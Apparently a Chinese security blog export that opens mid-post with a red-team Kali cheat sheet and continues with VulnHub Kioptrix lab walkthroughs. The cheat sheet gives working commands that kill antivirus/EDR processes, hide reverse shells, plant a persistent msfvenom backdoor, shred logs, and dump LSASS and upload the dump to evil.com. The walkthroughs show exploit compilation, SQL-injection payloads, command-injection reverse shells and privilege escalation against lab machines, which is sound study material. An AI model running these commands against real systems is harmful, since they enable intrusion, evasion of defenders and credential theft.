伪装User-Agent下载工具（绕过WAF） 5wget -U \u0026#34;Mozilla/5.0\u0026#34; http://evil.com/nc.exe 9. axel - 多线程加速下载 1# 快速拖取大型数据库备份文件（数据窃取） 2axel -n 10 http://target.com/database.tar.gz 10. ps / kill - 进程管理 1# 查找并杀死防护进程（如AV） 2ps aux | grep \u0026#34;crowdstrike\u0026#34; | awk \u0026#39;{print $2}\u0026#39; | xargs kill -9 3 4# 隐藏进程名启动反向Shell（避免ps暴露） 5cp /bin/bash /tmp/.httpd \u0026amp;\u0026amp; /tmp/.httpd -c \u0026#34;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/1.1.1.1/443 0\u0026gt;\u0026amp;1\u0026#34; 11. tail / watch - 实时监控日志 1# 动态观察Apache错误日志（检测攻击触发情况） 2tail -f /var/log/apache2/error.log | grep \u0026#34;PHP Warning\u0026#34; 3 4# 监控新建立的网络连接（反溯源） 5watch -n 1 \u0026#34;netstat -antup | grep ESTABLISHED\u0026#34; 12. history / alias - 隐藏操作痕迹 1# 禁用历史记录（避免命令泄露） 2unset HISTFILE; export HISTFILESIZE=0 3 4# 创建高危命令别名（如快速清理日志） 5alias cleanlogs=\u0026#39;find /var/log -type f -exec shred -u {} \\;\u0026#39; 13. jobs / fg - 后台任务管理 1# 后台运行端口扫描工具（如masscan） 2masscan -p1-65535 10.0.0.0/24 \u0026gt; results.txt \u0026amp; 3jobs # 查看后台任务 4fg 1 # 调回前台继续操作 红队关键技巧 混淆命令：使用base64编码命令避免敏感字符串直接出现： 1echo \u0026#34;bHM=\u0026#34; | base64 -d | bash # 执行\u0026#34;ls\u0026#34; 时间戳伪造：用touch -t修改文件时间戳躲避时间轴分析。 管道符绕过：利用|、\u0026amp;\u0026amp;等符号组合命令绕过基础检测。 2025年4月7日 23点52分\n进阶用法（后面会详细讲） 2025年4月8日 10点22分\n以下是在渗透测试和溯源场景中，Kali Linux常用的命令组合与技巧，结合隐蔽性和实战需求整理成五大核心场景：\n1. 信息收集与资产探测组合 命令工具：nmap + grep + cut\n用途：快速扫描目标网络并提取关键信息\n1# 扫描C段存活主机，提取开放80/443端口的IP 2nmap -sn 192.168.1.0/24 | grep \u0026#34;Nmap scan report\u0026#34; | cut -d\u0026#39; \u0026#39; -f5 \u0026gt; live_hosts.txt 3nmap -p80,443 -iL live_hosts.txt -oX scan_results.xml 4 5# 解析XML扫描结果，提取高危服务（如SSH、RDP） 6grep -E \u0026#39;portid=\u0026#34;22\u0026#34;|portid=\u0026#34;3389\u0026#34;\u0026#39; scan_results.xml | awk -F\u0026#39;\\\u0026#34;\u0026#39; \u0026#39;{print $2\u0026#34;:\u0026#34;$4}\u0026#39; 关键点：\n• 使用-sn参数避免触发端口扫描告警\n• 结果输出为XML格式便于后续自动化处理\n2. Web漏洞利用组合 命令工具：nikto + sqlmap + curl\n用途：自动化探测Web漏洞并验证利用\n1# 扫描目标网站漏洞 2nikto -h http://target.com -output vuln_report.html 3 4# 检测SQL注入并自动化获取数据库信息 5sqlmap -u \u0026#34;http://target.com/index.php?id=1\u0026#34; --batch --dbs 6 7# 利用漏洞上传Webshell（需结合编码绕过） 8curl -X POST http://target.com/upload.php -F \u0026#34;file=@revshell.php\u0026#34; -H \u0026#34;User-Agent: Mozilla/5.0\u0026#34; 隐蔽技巧：\n• 在sqlmap中添加--random-agent伪装浏览器流量\n• 使用base64编码Webshell内容绕过基础WAF检测\n3. 权限维持与后门部署组合 命令工具：msfvenom + systemctl + crontab\n用途：生成隐蔽后门并实现持久化\n1# 生成加密的Linux反向Shell Payload 2msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 -f elf -o httpd --encrypt xor 3 4# 部署后门并伪装为系统服务 5mv httpd /usr/sbin/.httpd \u0026amp;\u0026amp; chmod +x /usr/sbin/.httpd 6systemctl enable apache2.service --now # 利用合法服务掩护 7 8# 添加定时任务维持权限（每小时连接一次） 9(crontab -l 2\u0026gt;/dev/null; echo \u0026#34;0 * * * * /usr/sbin/.httpd\u0026#34;) | crontab - 隐蔽技巧：\n• 使用systemctl修改服务描述字段掩盖恶意进程\n• 定时任务文件路径伪装为/etc/cron.daily/logrotate\n4. 日志清理与反溯源组合 命令工具：sed + find + shred\n用途：擦除攻击痕迹并干扰时间线分析\n1# 删除SSH登录失败记录 2sed -i \u0026#39;/Failed password/d\u0026#39; /var/log/auth.log 3 4# 批量清除Web访问日志中本机IP 5find /var/log/nginx/ -name \u0026#34;access.log*\u0026#34; -exec sed -i \u0026#39;/192.168.1.100/d\u0026#39; {} \\; 6 7# 物理删除临时文件（覆盖7次后销毁） 8find /tmp/ -name \u0026#34;*.php\u0026#34; -exec shred -u -z -n7 {} \\; 关键点：\n• 优先操作日志轮转文件（如auth.log.1）\n• 使用shred代替rm彻底破坏文件恢复可能性\n5. 内网横向移动组合 命令工具：impacket-psexec + proxychains + smbmap\n用途：通过凭证重用突破内网边界\n1# 扫描内网SMB共享资源 2proxychains smbmap -H 10.0.0.5 -u \u0026#39;admin\u0026#39; -p \u0026#39;P@ssw0rd\u0026#39; 3 4# 利用PsExec执行远程命令（如抓取内存密码） 5proxychains impacket-psexec admin:\u0026#39;P@ssw0rd\u0026#39;@10.0.0.5 \u0026#34;cmd /c rundll32.exe C:\\windows\\system32\\comsvcs.dll MiniDump 648 C:\\lsass.dmp full\u0026#34; 6 7# 通过加密通道回传敏感数据 8curl --socks5 127.0.0.1:9050 -F \u0026#34;file=@lsass.dmp\u0026#34; https://evil.com/upload 隐蔽技巧：\n• 使用DNS-over-HTTPS（DoH）隐藏C2通信\n• 内存加载恶意代码避免磁盘文件写入（如Meterpreter的reflectivedllinject）\n红队高阶技巧 流量伪装：\n1# 使用合法云服务API传输数据（如AWS S3） 2aws s3 cp /etc/passwd s3://bucket-backdoor/ --profile=legit_user 容器逃逸：\n1# 检测Docker环境并挂载宿主机目录 2findmnt | grep \u0026#34;/var/lib/docker\u0026#34; \u0026amp;\u0026amp; docker run -v /:/mnt/host alpine chroot /mnt/host 硬件级隐蔽：\n1# 修改网卡MAC地址绕过IP封锁 2ip link set dev eth0 down \u0026amp;\u0026amp; macchanger -r eth0 \u0026amp;\u0026amp; ip link set dev eth0 up 防御对抗建议 • 日志监控：关注/var/log/下auth.log、syslog的异常进程创建事件\n• 进程防护：使用ps -auxf检查父进程异常的/usr/sbin/.httpd类服务\n• 网络隔离：通过iptables限制非授权出站流量（如阻断TOR节点连接）\n2025年4月8日 11点24分\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-04-08T11:34:14Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day6-kali%E6%B8%97%E9%80%8F%E5%91%BD%E4%BB%A4/","title":"Day6 Kali常用命令"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nKioptrix: Level 1 (#1) https://www.vulnhub.com/entry/kioptrix-level-1-1,22/\nNmap扫描 输入ifconfig查看kali本机的网段。\n输入 nmap -sn kali的ip/24探查网段，实战过程是通过vpn链接，进去后能查看网段。或 nmap -p- kali的ip/24探查所有网段。 可以发现129有一个80端口，在kali浏览器中访问可以看到如下界面：\n接下来探查端口指纹\n1 nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al 然后用漏洞扫描\n1nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln 得到输出\n1┌──(kali㉿kali)-[~] 2└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln 3Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST 4Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan 5NSE Timing: About 0.00% done 6Nmap scan report for 192.168.139.129 7Host is up (0.00025s latency). 8 9PORT STATE SERVICE 1022/tcp open ssh 1180/tcp open http 12|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 13|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. 14|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 15|_http-trace: TRACE is enabled 16| http-enum: 17| /test.php: Test page 18| /icons/: Potentially interesting directory w/ listing on \u0026#39;apache/1.3.20\u0026#39; 19| /manual/: Potentially interesting directory w/ listing on \u0026#39;apache/1.3.20\u0026#39; 20|_ /usage/: Potentially interesting folder 21111/tcp open rpcbind 22139/tcp open netbios-ssn 23443/tcp open https 24|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) 25| ssl-poodle: 26| VULNERABLE: 27| SSL POODLE information leak 28| State: VULNERABLE 29| IDs: CVE:CVE-2014-3566 BID:70574 30| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other 31| products, uses nondeterministic CBC padding, which makes it easier 32| for man-in-the-middle attackers to obtain cleartext data via a 33| padding-oracle attack, aka the \u0026#34;POODLE\u0026#34; issue. 34| Disclosure date: 2014-10-14 35| Check results: 36| TLS_RSA_WITH_3DES_EDE_CBC_SHA 37| References: 38| https://www.imperialviolet.org/2014/10/14/poodle.html 39| https://www.openssl.org/~bodo/ssl-poodle.pdf 40| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 41|_ https://www.securityfocus.com/bid/70574 42|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. 43| ssl-dh-params: 44| VULNERABLE: 45| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) 46| State: VULNERABLE 47| IDs: CVE:CVE-2015-4000 BID:74733 48| The Transport Layer Security (TLS) protocol contains a flaw that is 49| triggered when handling Diffie-Hellman key exchanges defined with 50| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker 51| to downgrade the security of a TLS session to 512-bit export-grade 52| cryptography, which is significantly weaker, allowing the attacker 53| to more easily break the encryption and monitor or tamper with 54| the encrypted stream. 55| Disclosure date: 2015-5-19 56| Check results: 57| EXPORT-GRADE DH GROUP 1 58| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 59| Modulus Type: Safe prime 60| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus 61| Modulus Length: 512 62| Generator Length: 8 63| Public Key Length: 512 64| References: 65| https://www.securityfocus.com/bid/74733 66| https://weakdh.org 67| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 68| 69| Diffie-Hellman Key Exchange Insufficient Group Strength 70| State: VULNERABLE 71| Transport Layer Security (TLS) services that use Diffie-Hellman groups 72| of insufficient strength, especially those using one of a few commonly 73| shared groups, may be susceptible to passive eavesdropping attacks. 74| Check results: 75| WEAK DH GROUP 1 76| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA 77| Modulus Type: Safe prime 78| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus 79| Modulus Length: 1024 80| Generator Length: 8 81| Public Key Length: 1024 82| References: 83|_ https://weakdh.org 84|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 85| ssl-ccs-injection: 86| VULNERABLE: 87| SSL/TLS MITM vulnerability (CCS Injection) 88| State: VULNERABLE 89| Risk factor: High 90| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h 91| does not properly restrict processing of ChangeCipherSpec messages, 92| which allows man-in-the-middle attackers to trigger use of a zero 93| length master key in certain OpenSSL-to-OpenSSL communications, and 94| consequently hijack sessions or obtain sensitive information, via 95| a crafted TLS handshake, aka the \u0026#34;CCS Injection\u0026#34; vulnerability. 96| 97| References: 98| http://www.cvedetails.com/cve/2014-0224 99| http://www.openssl.org/news/secadv_20140605.txt 100|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 101|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 102|_sslv2-drown: ERROR: Script execution failed (use -d to debug) 1031024/tcp open kdm 104MAC Address: 00:0C:29:3B:F8:BB (VMware) 105 106Host script results: 107|_smb-vuln-ms10-054: false 108| smb-vuln-cve2009-3103: 109| VULNERABLE: 110| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) 111| State: VULNERABLE 112| IDs: CVE:CVE-2009-3103 113| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, 114| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a 115| denial of service (system crash) via an \u0026amp; (ampersand) character in a Process ID High header field in a NEGOTIATE 116| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, 117| aka \u0026#34;SMBv2 Negotiation Vulnerability.\u0026#34; 118| 119| Disclosure date: 2009-09-08 120| References: 121| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 122|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 123|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14] 124|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14] 125 126Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds 目录扫描 从Nmap扫描的结果来看，它提示以下几个文件目录，可能有洞。\n使用如下命令扫描目录\n1dirb http://192.168.139.129/ 看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用（靶机会这样提示，实战要自己猜自己挖）。且从之前的Nmap扫描结果中看出，SSL存在漏洞。\nSSL漏洞利用 80/443端口 Kali终端中输入以下命令，查找可用的攻击方式。\n1searchsploit mod_ssl 根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式，如果下载文件有损坏，可以到 https://www.exploit-db.com/ 网站下载对应源码。\n1searchsploit -m 47080.c 2sudo apt-get install libssl-dev # 安装依赖环境 3gcc -o ssl47080 47080.c -lcrypto # 编译源码 1 ./ssl47080 |grep \u0026#34;1.3.20\u0026#34; 筛选符合 Apache 1.3.20版本的工具\n靶机系统是RedHat，所以使用0x6a或0x6b。\n0x6a测试失败，改用0x6b，输入以下命令：\n1./ssl47080 0x6b 192.168.139.129 -c 40 提权为root 目前是使用apache账户登录shell，这个账户是用于apache服务的专用账户， 可以使用ls /bin查看目前账户可以使用的命令，可以发现只能使用一些基本命令，权限较低，我们想要完整的shell就要root账户，就要提权。\n现在本地攻击机下面下载提权脚本。\n1wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c 然后开启一个简单的http服务，提供给靶机用于下载提权脚本。\n1sudo python -m http.server 80 这个靶机好在可以使用wget命令下载提权脚本。如果wget用不了的情况，可以尝试用curl或ftp下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令：\n1wget http://192.168.139.128/ptrace-kmod.c 退出，然后再次重连，自动编译，就会获得root权限。如果重连后不是root，可以多试几次，或者更换47080.c文件。\n另一种提权的方式：\n（CVE-2003-0651）Apache RCE https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce\n这个67.c文件最好从网站下载，kali里下载的不全。尾号305的才是正确的文件。\n但是编译不出来。 Samba 漏洞利用139端口 https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853\n除了ssl漏洞，可以从之前的Nmap扫描结果发现也存在Samba漏洞。\n使用Nmap再次扫描靶机的网址。\n1 nmap -A -p- -T4 192.168.139.129 使用msf工具箱\n1msfconsole 2search scanner/smb 3use 16 4info 5set RHOST 192.168.139.129 这样就获取了samba的版本，退出msf，然后搜索samba的攻击方式，选择对应版本。下载，编译。\n1searchsploit samba 2.2.1a 2searchsploit -m multiple/remote/10.c 3gcc -o Samba 10.c 查看使用方式\n使用如下命令爆破进入，直接获得root权限。\n1./Samba -b 0 192.168.139.129 Samba缓存漏洞利用139端口 搜索通用版本的samba攻击方式，发现，还有例如“call_trans2open”远程缓冲区溢出（2）漏洞利用的方式。下载编译后查看使用方式。\nrpcbind 尝试 漏洞扫描的结果中还有111端口和1024端口的rpcbind服务，搜索了有如下方法，但是尝试失败。\nhttps://www.cnblogs.com/KUANTECH/p/17941528\n上面这篇文章也做过了尝试是失败的，所以rpc的漏洞就不尝试了。\nKioptrix: Level 1.1 (#2) 2025年2月8日 14点15分\n在攻击机上输入ifconfig查看本机网段。\n1nmap -sP 192.168.139.0/24 -T5 扫描网段，发现130网段，是靶机，本机是128，254是网关，1，2都是网关。打开网页看一下，推测是sql注入。\n1nmap -sS -T5 192.168.139.130 -A 2nmap -sS -T5 192.168.139.130 -p- 扫描靶机的端口。\nsql万能密码都试一遍。以下两个都可以\nadmin\u0026#39; and 1=1 -- + admin\u0026#39; -- + 网页提示让我们ping机器，但是没有ping的地方。dirb http://192.168.139.130/ 扫描目录发现一个没啥用的manual页面，先放着\n查看网页源码发现有括号没有闭合。\n复制后粘贴修改源码，把括号闭合。\n出现ping框。\n输入执行whoami的测试语句，能看到执行了whoami的语句。\n然后构造一个反弹shell的语句用来链接shell。到网站 https://www.ddosi.org/shell/ 可以快速构造反弹语句。\n1nc -lvnp 9001 在攻击机输入监听命令启动监听。\n在浏览器submit处的127.0.0.1 \u0026amp;\u0026amp; 后面拼接反弹命令得到\n1127.0.0.1 \u0026amp;\u0026amp; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.139.128/9001 0\u0026gt;\u0026amp;1 成功回弹获得bash权限，接下来是提权为root账户。执行uname 和lsb_release -a发现版本号，搜索相关poc。\n从核心版本号2.6.9选择9542.c这个poc。\nsearchsploit -m 9542.c 攻击机开启http服务，上传poc到靶机。\npython -m http.server cd /tmp wget http://192.168.139.128:8000/9542.c 编译执行，提权成功。\n1gcc -o exp 9542.c 2./exp 3whoami 2025年2月8日 14点55分\nKioptrix: Level 1.2 (#3) 开启靶机后，在攻击机扫描网段。以下命令多开终端同步扫。\n1nmap -sP 192.168.139.0/24 -T5 2nmap -sS -T5 192.168.139.131 -p- 3nmap -sS 192.168.139.131 -p- --min-rate 1000 -A 4dirb http://192.168.139.131/ 访问80端口看到网页，点了一圈没有发现。\n目录扫描发现php管理员登录入口。\n发现登录界面，用万能密码，只填用户名，密码部分留空。\nroot\u0026#34; and 1=1 -- + 点击表，点击搜索，发现安全设置有问题，可以写文件。\nshow global variables like \u0026#34;secure%\u0026#34;; 暂时没有想法，先从其他地方继续收集信息。从80网页点进去发现一个登录窗口。\n主页点gallery会跳转到新的地址，但是图片之类的都显示不出来。\n2025年2月8日 15点45分\n中间去工作了，然后发现自己没有安装BurpSuit，原本装的Pro版，后来刷机刷没了，Yakit的劫持也忘了配置，浏览器插件没有装，去安装了一下。安装步骤可以看最后面。\n2025年2月8日 18点49分\nLotus CMS 漏洞\u0026amp;passwd漏洞 先找找Lotus CMS有没有什么漏洞，这个是登录网页的框架。搜索发现如下工具。\nhttps://github.com/Hood3dRob1n/LotusCMS-Exploit\n选择1，反弹成功。\n接下来需要提权成root。\n目前这个中腹案不太好看，发现有python，给他弄成交互式终端。\npython -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 查询终端信息。\n试了一些常规的提权方法不行，翻翻看文件夹，发现home文件夹下有个READEME文件。\n1 2Hello new employee, 3It is company policy here to use our newly installed software for editing, creating and viewing files. 4Please use the command \u0026#39;sudo ht\u0026#39;. 5Failure to do so will result in you immediate termination. 6 7DG 8CEO 9--- 10你好，新员工，使用我们新安装的软件来编辑、创建和查看文件是公司的规定。请使用命令“sudo ht”。如果不这样做，你将被立即解雇。DG首席执行官 sudo了一下也不行。另一个文件好像也不是有用的。\n回到READEME的提示，会发现要执行的时候没有paswwd，所以想从etc/passwd方向入手。看到有两个poc：40847.cpp和40839.c\n编译第一个\n1g++ -o 40847 40847.cpp 2./40847 -h 3--- 4./40847 [-s] [-n] | [-h] 5 6 -s open directly a shell, if the exploit is successful; 7 -n combined with -s, doesn\u0026#39;t restore the passwd file. 8 -h print this synopsis; 9 10 If no param is specified, the program modifies the passwd file and exits. 11 A copy of the passwd file will be create in the current directory as .ssh_bak 12 (unprivileged user), if no parameter or -n is specified. 13 14--- 15-s如果攻击成功，直接打开shell； 16-n和-s组合，不恢复passwd文件。-h打印概要； 17如果没有指定参数，程序将修改passwd文件并退出。 18在当前目录中将以.ssh的形式创建passwd文件的副本_如果不指定参数或-n，则为Bak（非特权用户）。 失败，换40839，编译报错，提示缺少库文件。\n文件中给出了编译命令。\n1gcc -pthread 40839.c -o 40839 -lcrypt 下载到靶机上编译执行。\n这里我没注意看，它提示重置密码，我直接输入成了ls，等待他执行改密操作。\n他现在提示我现在可以用ls做密码登录账户firefart，注意添加 -o 参数，不然版本太低登不进去。登不进去就直接su firefart\n1ssh -o HostKeyAlgorithms=+ssh-rsa firefart@192.168.139.131 虽然名字不是root，但是权限是root。\n页面sql注入漏洞 因为之前找到phpadmin登陆界面，应该是有sql漏洞的。\n主页点击浏览，发现有很多图片显示不出来，点击任意一个链接发现跳转新的域名，这个域名不是已经注册的，可能是跳转自己，但是DNS没有解析。\n修改本机Host文件，让这个域名解析到指定ip，就是靶机的ip。\n保存host文件，刷新一下浏览器就有了。\n发现疑似注入的入口。\n存在，可用，接下来就是调参了。\nsqlmap 自动注入 懒人用sqlmap走一下捷径，实际考试sqlmap有限制次数，所以小的能手注的还是练习一下。\n1sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* --dbs --batch 2sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery --tables --batch 3sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery -T gallarific_users --dump-all 最后一步爆库很慢\n手动注入 1http://kioptrix3.com/gallery/gallery.php?id=1\u0026#39; # 报错 2http://kioptrix3.com/gallery/gallery.php?id=1 # 不报错，是整数型注入 3http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,33,44,55,66 4http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,database(),user(),44,55,66 5# 回显 database()为gallery，user()为root@localhost 6http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata 7# 回显 information_schema,gallery,mysql 8http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database() 9# 回显 dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users 10# gallarific_users 里可能会有用户名和密码 查表 11http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=\u0026#39;gallarific_users\u0026#39; 12# 回显 userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode 13http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,username,password,44,55,66 from gallery.gallarific_users 14# 回显 admin n0t7t1k4 15http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(\u0026#39;:\u0026#39;,username,password)) ,44,55,66 from gallery.gallarific_users 16# 回显 admin:n0t7t1k4 17http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(\u0026#39;:\u0026#39;,username,password)) ,44,55,66 from gallery.dev_accounts 18# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e 1# 回显 admin:n0t7t1k4 2# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e 3--- 4# 解密后为 https://www.cmd5.com/default.aspx 5admin:n0t7t1k4 6dreg:Mast3r 7loneferret:starwars ssh登录\n1ssh -oHostKeyAlgorithms=+ssh-rsa admin@192.168.139.131 2ssh -oHostKeyAlgorithms=+ssh-rsa dreg@192.168.139.131 3ssh -oHostKeyAlgorithms=+ssh-rsa loneferret@192.168.139.131 除了admin的账户登不上，其他的都可以登录，这里可以又回到之前的用passwd漏洞切换账户。\nsuid 提权 也可以用suid方法提权。\n1find / -perm -u=s -type f 2\u0026gt;/dev/null # 发现有sudo 命令 2025年2月8日 22点27分\n做到这里一开始怀疑是40839的问题，后来解压了新靶机也不行，推测是靶机文件问题，从官方渠道下载新的。 https://download.vulnhub.com/kioptrix/KVM3.rar 等着下载，然后正好也歇一会\n2025年2月8日 22点39分\n按键盘alt+w唤出选择界面，选择打开/etc/sudoers。\n修改添加/bin/sh使root权限可以再bash中使用。保存退出。\nMSF 工具箱 LotusCMS RCE 1searchsploit lotuscms 注意OSCP考试只能使用一次MSF工具箱，所以应该掌握多种攻击方法。\n先在2另一个终端开启监听。\n1set rhosts 192.168.139.132 2set uri /index.php?system=Admin 3set lhost 192.168.139.128 4set lport 9001 5set payload generic/shell_reverse_tcp 然后再已经开启的9001端口就可以看得到回弹了。也可以把上述msf命令写成一行。\n1msfconsole -q -x \u0026#39;use exploit/multi/http/lcms_php_exec;set uri /index.php?system=Admin;set rhosts 192.168.139.132;set lhost 192.168.139.128;set lport 9001;set payload generic/shell_reverse_tcp;run\u0026#39; phpadmin 漏洞 使用LotusCMS漏洞进去后还有个地方进去。在配置文件下有数据库的账号密码。\n1cd gallery 2cat gconfig.php 3--- 4$GLOBALS[\u0026#34;gallarific_mysql_server\u0026#34;] = \u0026#34;localhost\u0026#34;; 5$GLOBALS[\u0026#34;gallarific_mysql_database\u0026#34;] = \u0026#34;gallery\u0026#34;; 6$GLOBALS[\u0026#34;gallarific_mysql_username\u0026#34;] = \u0026#34;root\u0026#34;; 7$GLOBALS[\u0026#34;gallarific_mysql_password\u0026#34;] = \u0026#34;fuckeyou\u0026#34;; Kioptrix: Level 1.3 (#4) 老样子先看网段。\n打开网页看，一个登录入口，弱密码和sql注入试了似乎不行。\n目录扫描发现似乎有敏感文件泄露。\n没有什么发现，重新用dirsearch扫描试试。\n直接用john/1234登录index是不行的，但是继续扫描发现有额外的登录页面。试了也不行。\n只有返回登陆界面试试sqlmap自动注入，尽量别用，下次有别的思路再试试。\n1sqlmap -r KP4.txt --dump --batch --level 3 1Database: members 2Table: members 3[2 entries] 4+----+-----------------------+----------+ 5| id | password | username | 6+----+-----------------------+----------+ 7| 1 | MyNameIsJohn | john | 8| 2 | ADGAdsafdfwt4gadfga== | robert | 9+----+-----------------------+----------+ 网页能登录，但是啥也没有，试试ssh登录。\n1ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.139.133 登上去后发现应该是命令受限，只能使用几个命令，whoami都不行。help发现只能用下面这几个。\n用echo就能逃逸这个终端环境到bash环境，用更多命令。\n1find / -name \u0026#34;*.php\u0026#34; 2\u0026gt;/dev/null 找一下php文件，刚刚目录扫描出来的文件泄露有php，所以可能有php文件泄露。\n两个php文件内容是一样的，其他的看了也没有特别的发现，这里写了用户名和密码，root，空密码，是mysql的密码。\n1 mysql -u root -p 然后再在mysql里面用udf提权，老演员了。\nUDF提权方法1-手动哈希注入 1show global variables like \u0026#34;secure_file_priv\u0026#34;; 2select @@version_compile_os, @@version_compile_machine; 这个属性为空值就可以提权。\n不太确认用哪个了，而且plung目录似乎没有，这个方法不行。\nUDF提权方法2-sys_exec函数提权 sys_exec可以使用系统命令，直接把john加管理员里。\n1select * from mysql.func 2select sys_exec(\u0026#39;usermod -a -G admin john\u0026#39;); udf提权方法3-sqlmap提权 以上是手动写入的方法，以下是sqlmap自动写入的方法，sqlmap使用前提是知道账号密码。\n1sqlmap -d \u0026#34;mysql://root:@192.168.139.133:3306/mysql\u0026#34; --os-shell 此处应用失败是因为靶机的mysql端口没有打开，只是在内部访问。\n2025年2月21日 17点27分\nKioptrix: 2014 (#5) 2025年2月22日14点04分\n官方推荐的靶场笔记博客 https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html\n打开靶机，扫描靶机。\n端口，ssh没有开放，就一个80和8080端口开放。\n主页就一个静态网页。\ncurl网页源码发现一个应该是框架的东西pChart从名字看应该改是画图之类的东西。搜索相关利用漏洞，只有一个。\n先测试一下能不能打开这个网页，如果打不开，Vmware提示什么FreeBSD tools更新之类的是vmware犯病，不用管也不用更新，重启靶机就行。\n然后就能用这个漏洞看文件了，看密码，看apache配置。\n1http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View\u0026amp;Script=%2f..%2f..%2fetc/passwd 2http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View\u0026amp;Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf 2025年2月22日 15时18分\n之前能打开一次，估计时靶机有问题，然后vmware老提示FreeBSD tools安装的问题，不确定是哪一个，重新下载官方镜像，然后安装VBox 和相关插件再试试，我看官网是用Vbox 的。还有可能是劫持问题。后面试了有觉得可能是因为刷靶机中途开了加速器玩了几把Kards，开加速器的时候把代理干废了，然后就登不上了。\n是玩游戏导致代理混乱，重新在BurSuit中配置代理的方法。这个是我翻墙的代理，平时都开着。\nburp连代理有时候不成功，多试几次，可能是因为机场问题，检查一下机场节点是不是超过300ms了。\n2025年2月24日 